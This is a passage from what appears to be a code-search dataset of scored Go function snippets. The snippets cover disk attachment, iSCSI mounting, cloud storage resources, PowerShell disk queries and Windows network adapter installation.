strconv.Itoa(int(mbr.Mbr_tamaño-SizeUse)))\n\t}\n\tfile2.WriteString(\"}\\\"]\\n\")\n\tfile2.WriteString(\"\\n\")\n\tfile2.WriteString(\"}\\n\")\n\tfile2.Close()\n\tGenerador(\"Assets/Disk.dot\", ExtSalida, pathSalida)\n\treturn true\n}", "title": "" }, { "docid": "2057872f113b6f8521dd63f491384dd6", "score": "0.46966457", "text": "func (c *K8sOrchestrator) MarkFakeAttached(ctx context.Context, volumeID string) error {\n\tlog := logger.GetLogger(ctx)\n\tannotations := make(map[string]string)\n\tannotations[common.AnnVolumeHealth] = common.VolHealthStatusInaccessible\n\tannotations[common.AnnFakeAttached] = \"yes\"\n\n\t// Update annotations.\n\t// Along with updating fake attach annotation on pvc, also update the volume\n\t// health on pvc as inaccessible, as that's one of the conditions for volume\n\t// to be fake attached.\n\tif err := c.updatePVCAnnotations(ctx, volumeID, annotations); err != nil {\n\t\tlog.Errorf(\"failed to mark fake attach annotation on the pvc for volume %s. Error:%+v\", volumeID, err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "bfbad84cde5df3f354dfb85c65a60bdf", "score": "0.46958825", "text": "func (vm *VM) AttachDisk(diskParams *types.DiskAttachOrDetachParams) (Task, error) {\n\treturn vm.attachOrDetachDisk(diskParams, types.RelDiskAttach)\n}", "title": "" }, { "docid": "a7a8edcd112be90a1a12743848ba226c", "score": "0.46882233", "text": "func InterfaceDeviceWithMasqueradeBinding(ports ...kvirtv1.Port) kvirtv1.Interface {\n\treturn kvirtv1.Interface{\n\t\tName: DefaultInterfaceName,\n\t\tInterfaceBindingMethod: kvirtv1.InterfaceBindingMethod{\n\t\t\tMasquerade: &kvirtv1.InterfaceMasquerade{},\n\t\t},\n\t\tPorts: ports,\n\t}\n}", "title": "" }, { "docid": "1e660fce6cbb3de839a02a0eb38fa257", "score": "0.46866542", "text": "func (c DisksClient) CreateOrUpdate(ctx context.Context, resourceGroupName string, diskName string, disk compute.Disk) (*compute.Disk, error) {\n\tfuture, err := c.client.CreateOrUpdate(ctx, resourceGroupName, diskName, disk)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := future.WaitForCompletionRef(ctx, c.client.Client); err != nil {\n\t\treturn nil, err\n\t}\n\tdisk, err = future.Result(c.client)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &disk, nil\n}", "title": "" }, { "docid": "190df66f8fd8bcb600cd44a6551510e4", "score": "0.46758655", "text": "func (d OCIFlexvolumeDriver) Mount(logger *zap.SugaredLogger, mountDir string, opts flexvolume.Options) flexvolume.DriverStatus {\n\treturn flexvolume.NotSupported(logger)\n}", "title": "" }, { "docid": "b817ecf9e0fa20e2d27a7b5c78f68322", "score": "0.46694794", "text": "func NewAttachedDisk(ctx *pulumi.Context,\n\tname string, args *AttachedDiskArgs, opts ...pulumi.ResourceOption) (*AttachedDisk, error) {\n\tif args == nil || args.Disk == nil {\n\t\treturn nil, errors.New(\"missing required argument 'Disk'\")\n\t}\n\tif args == nil || args.Instance == nil {\n\t\treturn nil, errors.New(\"missing required argument 'Instance'\")\n\t}\n\tif args == nil {\n\t\targs = &AttachedDiskArgs{}\n\t}\n\tvar resource AttachedDisk\n\terr := ctx.RegisterResource(\"gcp:compute/attachedDisk:AttachedDisk\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "6268e7b95b3e7c2ab19797630771942e", "score": "0.46691868", "text": "func (o ElastigroupDiskOutput) Interface() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ElastigroupDisk) *string { return v.Interface }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "5c507ce4ed142bfcd9f84c11657ff4fc", "score": "0.46669844", "text": "func (s *System) SetFileSystem() {}", "title": "" }, { "docid": "743beceac937037035d17fabf90a544e", "score": "0.4663664", "text": "func (o RuntimeVirtualMachineVirtualMachineConfigDataDiskOutput) Interface() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RuntimeVirtualMachineVirtualMachineConfigDataDisk) *string { return v.Interface }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "f9a06c5e1a0bacb679eeefa1c65e22b9", "score": "0.4661145", "text": "func (d *driver) VolumeAttach(\n\tctx types.Context,\n\tvolumeID string,\n\topts *types.VolumeAttachOpts) (*types.Volume, string, error) {\n\n\tvmName := context.MustInstanceID(ctx).ID\n\n\tif opts.NextDevice == nil || *opts.NextDevice == \"\" {\n\t\treturn nil, \"\", errMissingNextDevice\n\t}\n\n\tfields := map[string]interface{}{\n\t\t\"vmName\": vmName,\n\t\t\"volumeID\": volumeID,\n\t\t\"nextDevice\": *opts.NextDevice,\n\t}\n\n\tvolume, err := d.getVolume(ctx, volumeID,\n\t\ttypes.VolumeAttachmentsRequested)\n\tif err != nil {\n\t\tif _, ok := err.(*types.ErrNotFound); ok {\n\t\t\treturn nil, \"\", err\n\t\t}\n\t\treturn nil, \"\", goof.WithFieldsE(fields,\n\t\t\t\"failed to get volume for attach\", err)\n\t}\n\t// Check if volume is already attached\n\t// TODO: maybe add the check that new instance is the same as current\n\tif len(volume.Attachments) > 0 {\n\t\t// Detach already attached volume if forced\n\t\tif !opts.Force {\n\t\t\treturn nil, \"\", errVolAlreadyAttached\n\t\t}\n\t\tfor _, att := range volume.Attachments {\n\t\t\terr = d.detachDisk(ctx, &volumeID, &att.InstanceID.ID)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", goof.WithError(\n\t\t\t\t\t\"failed to detach volume first\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tvm, err := d.getVM(ctx, vmName)\n\tif err != nil {\n\t\treturn nil, \"\", goof.WithFieldsE(fields,\n\t\t\t\"VM could not be obtained\", err)\n\t}\n\n\terr = d.attachDisk(ctx, volumeID, volume.Size, vm)\n\tif err != nil {\n\t\treturn nil, \"\", goof.WithFieldsE(fields,\n\t\t\t\"failed to attach volume\", err)\n\t}\n\n\tvolume, err = d.getVolume(ctx, volumeID,\n\t\ttypes.VolumeAttachmentsRequested)\n\tif err != nil {\n\t\treturn nil, \"\", goof.WithFieldsE(fields,\n\t\t\t\"failed to get just created/attached volume\", err)\n\t}\n\n\treturn volume, *opts.NextDevice, nil\n}", "title": "" }, { "docid": "879417186b749da5e091e00fe4e9e91f", "score": "0.4654645", "text": "func (vcd *TestVCD) Test_Disk(check *C) {\n\tif vcd.skipVappTests {\n\t\tcheck.Skip(\"skipping test because vApp wasn't properly created\")\n\t}\n\n\t// Find VM\n\tvapp := vcd.findFirstVapp()\n\tvmType, vmName := vcd.findFirstVm(vapp)\n\tif vmName == \"\" {\n\t\tcheck.Skip(\"skipping test because no VM is found\")\n\t}\n\n\tfmt.Printf(\"Running: %s\\n\", check.TestName())\n\n\tvm := NewVM(&vcd.client.Client)\n\tvm.VM = &vmType\n\n\t// Ensure vApp and VM are suitable for this test\n\t// Disk attach and detach operations are not working if VM is suspended\n\terr := vcd.ensureVappIsSuitableForVMTest(vapp)\n\tcheck.Assert(err, IsNil)\n\terr = vcd.ensureVMIsSuitableForVMTest(vm)\n\tcheck.Assert(err, IsNil)\n\n\t// Create disk\n\tdiskCreateParamsDisk := &types.Disk{\n\t\tName: TestDisk,\n\t\tSizeMb: 14,\n\t\tDescription: TestDisk,\n\t}\n\n\tdiskCreateParams := &types.DiskCreateParams{\n\t\tDisk: diskCreateParamsDisk,\n\t}\n\n\ttask, err := vcd.vdc.CreateDisk(diskCreateParams)\n\tcheck.Assert(err, IsNil)\n\n\tcheck.Assert(task.Task.Owner.Type, Equals, types.MimeDisk)\n\tdiskHREF := task.Task.Owner.HREF\n\n\tPrependToCleanupList(diskHREF, \"disk\", \"\", check.TestName())\n\n\t// Wait for disk creation complete\n\terr = task.WaitTaskCompletion()\n\tcheck.Assert(err, IsNil)\n\n\t// Verify created disk\n\tcheck.Assert(diskHREF, Not(Equals), \"\")\n\tdisk, err := vcd.vdc.GetDiskByHref(diskHREF)\n\tcheck.Assert(err, IsNil)\n\tcheck.Assert(disk.Disk.Name, Equals, diskCreateParamsDisk.Name)\n\tcheck.Assert(disk.Disk.SizeMb, Equals, diskCreateParamsDisk.SizeMb)\n\tcheck.Assert(disk.Disk.Description, Equals, diskCreateParamsDisk.Description)\n\n\t// Attach disk\n\tattachDiskTask, err := vm.AttachDisk(&types.DiskAttachOrDetachParams{\n\t\tDisk: &types.Reference{\n\t\t\tHREF: disk.Disk.HREF,\n\t\t},\n\t})\n\tcheck.Assert(err, IsNil)\n\n\terr = attachDiskTask.WaitTaskCompletion()\n\tcheck.Assert(err, IsNil)\n\n\t// Get attached VM\n\tvmRef, err := disk.AttachedVM()\n\tcheck.Assert(err, IsNil)\n\tcheck.Assert(vmRef, NotNil)\n\tcheck.Assert(vmRef.Name, Equals, vm.VM.Name)\n\n\t// Detach disk\n\tdetachDiskTask, err := vm.DetachDisk(&types.DiskAttachOrDetachParams{\n\t\tDisk: &types.Reference{\n\t\t\tHREF: disk.Disk.HREF,\n\t\t},\n\t})\n\tcheck.Assert(err, IsNil)\n\n\terr = detachDiskTask.WaitTaskCompletion()\n\tcheck.Assert(err, IsNil)\n\n\t// Update disk\n\tnewDiskInfo := &types.Disk{\n\t\tName: TestDisk,\n\t\tSizeMb: 41,\n\t\tDescription: TestDisk + \"_Update\",\n\t}\n\n\tupdateTask, err := disk.Update(newDiskInfo)\n\tcheck.Assert(err, IsNil)\n\n\terr = updateTask.WaitTaskCompletion()\n\tcheck.Assert(err, IsNil)\n\n\t// Refresh disk Info\n\terr = disk.Refresh()\n\tcheck.Assert(err, IsNil)\n\tcheck.Assert(disk.Disk.Name, Equals, newDiskInfo.Name)\n\tcheck.Assert(disk.Disk.Description, Equals, newDiskInfo.Description)\n\n}", "title": "" }, { "docid": "7e1cc9ee0ca7340388fa4b5fb7aae7cd", "score": "0.4652726", "text": "func GetDisk(diskName string) (Disk, error) {\n\n\tdeviceID, err := getDeviceID(diskName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdeviceID, err = sqlQuoteString(deviceID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tps, err := NewPowerShell()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer ps.Close()\n\n\tcmdline := \"Get-WmiObject -query \\\"SELECT * FROM Win32_DiskDrive WHERE DeviceID=\" + deviceID + \"\\\"\"\n\twin32DiskDrive, err := ps.GetObject(cmdline)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &windowsDisk{win32DiskDrive: win32DiskDrive}, nil\n}", "title": "" }, { "docid": "c0311d7ad4e3c310f20aefb9f0c2b11c", "score": "0.46517703", "text": "func (*AttachBlockDeviceRequest) Descriptor() ([]byte, []int) {\n\treturn file_agent_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "046e45555e35429e5b23606627022b74", "score": "0.4650228", "text": "func (c *Client) SendInterfaceAdd() error {\n\treturn c.sendCommand(interfaceAdd, DefaultVrf, nil)\n}", "title": "" }, { "docid": "52c9c8c1d21d47542eeb7c090ebee895", "score": "0.46214297", "text": "func (m *Drive) SetDriveType(value *string)() {\n err := m.GetBackingStore().Set(\"driveType\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "734c56c42816861b3c41530893d60a1a", "score": "0.46186203", "text": "func (r Network_Storage_Group_Nfs) AttachToVolume(volume *datatypes.Network_Storage) (resp bool, err error) {\n\tparams := []interface{}{\n\t\tvolume,\n\t}\n\terr = r.Session.DoRequest(\"SoftLayer_Network_Storage_Group_Nfs\", \"attachToVolume\", params, &r.Options, &resp)\n\treturn\n}", "title": "" }, { "docid": "b759b90ca4fb34386a1e026580e78fe6", "score": "0.46165696", "text": "func (r AttachDiskRequest) Send(ctx context.Context) (*AttachDiskOutput, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn r.Request.Data.(*AttachDiskOutput), nil\n}", "title": "" }, { "docid": "54b2624f42d5b5e1668af4d10e81de00", "score": "0.46141016", "text": "func GetNetworkStorageIscsiService(sess *session.Session) Network_Storage_Iscsi {\n\treturn Network_Storage_Iscsi{Session: sess}\n}", "title": "" }, { "docid": "9ccd2921827a64e34cc0675ba2e7c5aa", "score": "0.46055642", "text": "func AddContainerDisk(vm *v1.VirtualMachine, image string) {\n\tspec := &vm.Spec.Template.Spec\n\tspec.Domain.Devices = v1.Devices{\n\t\tDisks: []v1.Disk{\n\t\t\t{\n\t\t\t\tName: \"containerdisk\",\n\t\t\t\tDiskDevice: v1.DiskDevice{\n\t\t\t\t\tDisk: &v1.DiskTarget{\n\t\t\t\t\t\tBus: busVirtio,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tspec.Volumes = []v1.Volume{\n\t\t{\n\t\t\tName: \"containerdisk\",\n\t\t\tVolumeSource: v1.VolumeSource{\n\t\t\t\tContainerDisk: &v1.ContainerDiskSource{\n\t\t\t\t\tImage: image,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "9a1f83f3d1c37d96978920c831b0f56d", "score": "0.4600928", "text": "func (r AttachDiskRequest) Send(ctx context.Context) (*AttachDiskResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &AttachDiskResponse{\n\t\tAttachDiskOutput: r.Request.Data.(*AttachDiskOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "1c88112b1364dead1e7d2ec71d52487c", "score": "0.45938003", "text": "func scanIscsiDrives() error {\n\tval, ok := cmdline.Flag(\"netroot\")\n\tif !ok {\n\t\treturn errors.New(\"netroot flag is not set\")\n\t}\n\tslaunch.Debug(\"netroot flag is set with val=%s\", val)\n\n\ttarget, volume, err := dhclient.ParseISCSIURI(val)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"dhclient ISCSI parser failed err=%v\", err)\n\t}\n\n\tslaunch.Debug(\"resolved ip:port=%s\", target)\n\tslaunch.Debug(\"resolved vol=%v\", volume)\n\n\tslaunch.Debug(\"Scanning kernel cmd line for *rd.iscsi.initiator* flag\")\n\tinitiatorName, ok := cmdline.Flag(\"rd.iscsi.initiator\")\n\tif !ok {\n\t\treturn errors.New(\"rd.iscsi.initiator flag is not set\")\n\t}\n\n\tdevices, err := iscsinl.MountIscsi(\n\t\tiscsinl.WithInitiator(initiatorName),\n\t\tiscsinl.WithTarget(target.String(), volume),\n\t\tiscsinl.WithCmdsMax(128),\n\t\tiscsinl.WithQueueDepth(16),\n\t\tiscsinl.WithScheduler(\"noop\"),\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor i := range devices {\n\t\tslaunch.Debug(\"Mounted at dev %v\", devices[i])\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1ccafba0b5de87815008bfd9e9240637", "score": "0.45918873", "text": "func (mo *HostStorageSystem) AttachVmfsExtent(\n\tvmfsPath string, extent *HostScsiDiskPartition,\n) error {\n\n\trequest := struct {\n\t\tXMLName xml.Name `xml:\"AttachVmfsExtent\"`\n\t\tThis *ManagedObjectReference `xml:\"_this,omitempty\"`\n\t\tVmfsPath string `xml:\"vmfsPath,omitempty\"`\n\t\tExtent *HostScsiDiskPartition `xml:\"extent,omitempty\"`\n\t}{\n\t\tThis: &ManagedObjectReference{Type: mo.ManagedObject.Type, Value: mo.ManagedObject.Value},\n\t\tVmfsPath: vmfsPath,\n\t\tExtent: extent,\n\t}\n\n\tif session == nil {\n\t\tpanic(\"You need to create a vSphereSession first\")\n\t}\n\n\terr := session.invoke(request, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "title": "" }, { "docid": "7efac780d47df4e0519628df39940c4f", "score": "0.4590299", "text": "func Mount(mountpoint string, fstype string, volDev *VolumeDevSpec, isReadOnly bool) error {\n\tdiskNum, err := getDiskNum(volDev)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\"mountpoint\": mountpoint, \"fstype\": fstype,\n\t\t\t\"volDev\": *volDev, \"isReadOnly\": isReadOnly, \"err\": err}).Error(\"Failed to locate disk \")\n\t\treturn err\n\t}\n\n\tscript := fmt.Sprintf(mountDiskScript, diskNum, isReadOnly, diskNum, mountpoint)\n\tout, err := exec.Command(powershell, script).CombinedOutput()\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\"mountpoint\": mountpoint, \"fstype\": fstype,\n\t\t\t\"volDev\": *volDev, \"isReadOnly\": isReadOnly, \"diskNum\": diskNum,\n\t\t\t\"err\": err, \"out\": string(out)}).Error(\"Failed to mount disk \")\n\t\treturn err\n\t}\n\n\tlog.WithFields(log.Fields{\"mountpoint\": mountpoint, \"fstype\": fstype, \"volDev\": *volDev,\n\t\t\"isReadOnly\": isReadOnly, \"diskNum\": diskNum}).Info(\"Disk successfully mounted \")\n\treturn nil\n}", "title": "" }, { "docid": "3b5c944386d33ebd7f38441bec40a04b", "score": "0.45885235", "text": "func (r Network_Storage_Iscsi) GetMountPath() (resp string, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Network_Storage_Iscsi\", \"getMountPath\", nil, &r.Options, &resp)\n\treturn\n}", "title": "" }, { "docid": "ac5114fbff9e6980b2ae83d758fc51d6", "score": "0.45882425", "text": "func (*ProvisionedDevice) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_inventory_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "a46edf50438de820a8ad19982a1469ff", "score": "0.45817474", "text": "func (o *StorageNetAppNodeCdpNeighbor) SetInterface(v string) {\n\to.Interface = &v\n}", "title": "" }, { "docid": "57fa19b379d20e25eb91ad3d419311a2", "score": "0.45784634", "text": "func (cli *BaseClient) AddIscsiInitiatorToHost(ctx context.Context, initiator, hostID string) error {\n\turl := fmt.Sprintf(\"/iscsi_initiator/%s\", initiator)\n\tdata := map[string]interface{}{\n\t\t\"PARENTTYPE\": 21,\n\t\t\"PARENTID\": hostID,\n\t}\n\tresp, err := cli.Put(ctx, url, data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcode := int64(resp.Error[\"code\"].(float64))\n\tif code != 0 {\n\t\tmsg := fmt.Sprintf(\"Add iscsi initiator %s to host %s error: %d\", initiator, hostID, code)\n\t\treturn errors.New(msg)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ba934218b996efcc2cba39d41b57fb02", "score": "0.45766664", "text": "func (d *csifDisk) Connect() error {\n\tvar err error\n\n\tif err := d.createFilterPod(); err != nil {\n\t\treturn fmt.Errorf(\"create filter pod failed: %v\", err)\n\t}\n\n\topts := []grpc.DialOption{\n\t\tgrpc.WithInsecure(),\n\t}\n\td.filterConn, err = grpc.Dial(d.filterPod.Status.PodIP+\":\"+fmt.Sprint(CsifFilterPortGRPC), opts...)\n\tif err != nil {\n\t\td.Disconnect()\n\t\treturn fmt.Errorf(\"failed to connect to filter gRPC: %v\", err)\n\t}\n\n\tclient := filter.NewFilterClient(d.filterConn)\n\tresp, err := client.CreateTarget(context.Background(), &filter.CreateTargetRequest{})\n\tif err != nil {\n\t\td.Disconnect() // BUG: deleteFilterPod was skipped here somehow\n\t\treturn fmt.Errorf(\"failed to create filter target: %v\", err)\n\t}\n\td.targetExists = true\n\n\tresptgt := resp.GetTarget()\n\td.targetConn = &lib_iscsi.Connector{\n\t\tVolumeName: getTargetInfoStr(resptgt),\n\t\tTargets: []lib_iscsi.TargetInfo{{\n\t\t\tIqn: resptgt.GetIqn(),\n\t\t\tPortal: resptgt.GetPortal(),\n\t\t\tPort: fmt.Sprint(resptgt.GetPort())}},\n\t\tLun: csifTGTDdefaultLUN,\n\t\tMultipath: false,\n\t\tDoDiscovery: true,\n\t}\n\td.dev, err = lib_iscsi.Connect(*d.targetConn)\n\tif err != nil {\n\t\td.targetConn = nil\n\t\td.dev = \"\"\n\t\td.Disconnect()\n\t\treturn status.Errorf(codes.Internal, \"iscsi connect failed: %v\", err)\n\t}\n\n\t// TODO:\n\t//file := path.Join(req.GetTargetPath(), d.name+\".json\")\n\t//err = iscsi_lib.PersistConnector(d.conn, file)\n\treturn nil\n}", "title": "" }, { "docid": "04eb79fa3a2ae8aa52857be5a5520895", "score": "0.45764205", "text": "func NewIscsiServer(ctx *pulumi.Context,\n\tname string, args *IscsiServerArgs, opts ...pulumi.ResourceOption) (*IscsiServer, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.BackupScheduleGroupId == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'BackupScheduleGroupId'\")\n\t}\n\tif args.DeviceName == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'DeviceName'\")\n\t}\n\tif args.ManagerName == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'ManagerName'\")\n\t}\n\tif args.ResourceGroupName == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'ResourceGroupName'\")\n\t}\n\tif args.StorageDomainId == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'StorageDomainId'\")\n\t}\n\taliases := pulumi.Aliases([]pulumi.Alias{\n\t\t{\n\t\t\tType: pulumi.String(\"azure-nextgen:storsimple/v20161001:IscsiServer\"),\n\t\t},\n\t})\n\topts = append(opts, aliases)\n\tvar resource IscsiServer\n\terr := ctx.RegisterResource(\"azure-native:storsimple/v20161001:IscsiServer\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "7b7bd1a80cde18df7fc6be0d7ed44bd7", "score": "0.45763025", "text": "func (s *System) SetDriver() {}", "title": "" }, { "docid": "33b9ee40b55cf1de36558fc86dc7c18f", "score": "0.45731184", "text": "func (client *StorageRPCClient) DiskInfo() (info DiskInfo, err error) {\n\terr = client.call(storageServiceName+\".DiskInfo\", &AuthArgs{}, &info)\n\treturn info, err\n}", "title": "" }, { "docid": "b273ac614b9a57615655fbb0b591415c", "score": "0.45728645", "text": "func SetDiskReadOnly(path string, isReadonly bool) (string, int, error) {\n\tlog.Tracef(\">>>>> SetDiskReadOnly, path=%v, isReadonly=%v\", path, isReadonly)\n\tdefer log.Trace(\"<<<<< SetDiskReadOnly\")\n\n\treturn execCommandOutput(fmt.Sprintf(`Set-Disk -Path \"%v\" -IsReadonly %v`, path, psBoolToText(isReadonly)))\n}", "title": "" }, { "docid": "8c3231d6436a6539857400ec95e903bf", "score": "0.45722893", "text": "func (pool Pool) CreateInterface(ifname string, requestedGUID *windows.GUID) (wintun *Interface, rebootRequired bool, err error) {\n\tmutex, err := pool.takeNameMutex()\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer func() {\n\t\twindows.ReleaseMutex(mutex)\n\t\twindows.CloseHandle(mutex)\n\t}()\n\n\t// Create an empty device info set for network adapter device class.\n\tdevInfo, err := setupapi.SetupDiCreateDeviceInfoListEx(&deviceClassNetGUID, 0, \"\")\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiCreateDeviceInfoListEx(%v) failed: %v\", deviceClassNetGUID, err)\n\t\treturn\n\t}\n\tdefer devInfo.Close()\n\n\t// Get the device class name from GUID.\n\tclassName, err := setupapi.SetupDiClassNameFromGuidEx(&deviceClassNetGUID, \"\")\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiClassNameFromGuidEx(%v) failed: %v\", deviceClassNetGUID, err)\n\t\treturn\n\t}\n\n\t// Create a new device info element and add it to the device info set.\n\tdeviceTypeName := pool.deviceTypeName()\n\tdevInfoData, err := devInfo.CreateDeviceInfo(className, &deviceClassNetGUID, deviceTypeName, 0, setupapi.DICD_GENERATE_ID)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiCreateDeviceInfo failed: %v\", err)\n\t\treturn\n\t}\n\n\terr = setQuietInstall(devInfo, devInfoData)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Setting quiet installation failed: %v\", err)\n\t\treturn\n\t}\n\n\t// Set a device information element as the selected member of a device information set.\n\terr = devInfo.SetSelectedDevice(devInfoData)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiSetSelectedDevice failed: %v\", err)\n\t\treturn\n\t}\n\n\t// Set Plug&Play device hardware ID property.\n\terr = devInfo.SetDeviceRegistryPropertyString(devInfoData, setupapi.SPDRP_HARDWAREID, hardwareID)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiSetDeviceRegistryProperty(SPDRP_HARDWAREID) failed: %v\", err)\n\t\treturn\n\t}\n\n\terr = devInfo.BuildDriverInfoList(devInfoData, setupapi.SPDIT_COMPATDRIVER) // TODO: This takes ~510ms\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiBuildDriverInfoList failed: %v\", err)\n\t\treturn\n\t}\n\tdefer devInfo.DestroyDriverInfoList(devInfoData, setupapi.SPDIT_COMPATDRIVER)\n\n\tdriverDate := windows.Filetime{}\n\tdriverVersion := uint64(0)\n\tfor index := 0; ; index++ { // TODO: This loop takes ~600ms\n\t\tdriverData, err := devInfo.EnumDriverInfo(devInfoData, setupapi.SPDIT_COMPATDRIVER, index)\n\t\tif err != nil {\n\t\t\tif err == windows.ERROR_NO_MORE_ITEMS {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// Check the driver version first, since the check is trivial and will save us iterating over hardware IDs for any driver versioned prior our best match.\n\t\tif driverData.IsNewer(driverDate, driverVersion) {\n\t\t\tdriverDetailData, err := devInfo.DriverInfoDetail(devInfoData, driverData)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif driverDetailData.IsCompatible(hardwareID) {\n\t\t\t\terr := devInfo.SetSelectedDriver(devInfoData, driverData)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tdriverDate = driverData.DriverDate\n\t\t\t\tdriverVersion = driverData.DriverVersion\n\t\t\t}\n\t\t}\n\t}\n\n\tif driverVersion == 0 {\n\t\terr = fmt.Errorf(\"No driver for device %q installed\", hardwareID)\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\tif err != nil {\n\t\t\t// The interface failed to install, or the interface ID was unobtainable. Clean-up.\n\t\t\tremoveDeviceParams := setupapi.RemoveDeviceParams{\n\t\t\t\tClassInstallHeader: *setupapi.MakeClassInstallHeader(setupapi.DIF_REMOVE),\n\t\t\t\tScope: setupapi.DI_REMOVEDEVICE_GLOBAL,\n\t\t\t}\n\n\t\t\t// Set class installer parameters for DIF_REMOVE.\n\t\t\tif devInfo.SetClassInstallParams(devInfoData, &removeDeviceParams.ClassInstallHeader, uint32(unsafe.Sizeof(removeDeviceParams))) == nil {\n\t\t\t\t// Call appropriate class installer.\n\t\t\t\tif devInfo.CallClassInstaller(setupapi.DIF_REMOVE, devInfoData) == nil {\n\t\t\t\t\trebootRequired = rebootRequired || checkReboot(devInfo, devInfoData)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twintun = nil\n\t\t}\n\t}()\n\n\t// Call appropriate class installer.\n\terr = devInfo.CallClassInstaller(setupapi.DIF_REGISTERDEVICE, devInfoData)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiCallClassInstaller(DIF_REGISTERDEVICE) failed: %v\", err)\n\t\treturn\n\t}\n\n\t// Register device co-installers if any. (Ignore errors)\n\tdevInfo.CallClassInstaller(setupapi.DIF_REGISTER_COINSTALLERS, devInfoData)\n\n\tvar netDevRegKey registry.Key\n\tconst pollTimeout = time.Millisecond * 50\n\tfor i := 0; i < int(waitForRegistryTimeout/pollTimeout); i++ {\n\t\tif i != 0 {\n\t\t\ttime.Sleep(pollTimeout)\n\t\t}\n\t\tnetDevRegKey, err = devInfo.OpenDevRegKey(devInfoData, setupapi.DICS_FLAG_GLOBAL, 0, setupapi.DIREG_DRV, registry.SET_VALUE|registry.QUERY_VALUE|registry.NOTIFY)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiOpenDevRegKey failed: %v\", err)\n\t\treturn\n\t}\n\tdefer netDevRegKey.Close()\n\tif requestedGUID != nil {\n\t\terr = netDevRegKey.SetStringValue(\"NetSetupAnticipatedInstanceId\", requestedGUID.String())\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"SetStringValue(NetSetupAnticipatedInstanceId) failed: %v\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Install interfaces if any. (Ignore errors)\n\tdevInfo.CallClassInstaller(setupapi.DIF_INSTALLINTERFACES, devInfoData)\n\n\t// Install the device.\n\terr = devInfo.CallClassInstaller(setupapi.DIF_INSTALLDEVICE, devInfoData)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetupDiCallClassInstaller(DIF_INSTALLDEVICE) failed: %v\", err)\n\t\treturn\n\t}\n\trebootRequired = checkReboot(devInfo, devInfoData)\n\n\terr = devInfo.SetDeviceRegistryPropertyString(devInfoData, setupapi.SPDRP_DEVICEDESC, deviceTypeName)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"SetDeviceRegistryPropertyString(SPDRP_DEVICEDESC) failed: %v\", err)\n\t\treturn\n\t}\n\n\t// DIF_INSTALLDEVICE returns almost immediately, while the device installation\n\t// continues in the background. It might take a while, before all registry\n\t// keys and values are populated.\n\t_, err = registryEx.GetStringValueWait(netDevRegKey, \"NetCfgInstanceId\", waitForRegistryTimeout)\n\tif err 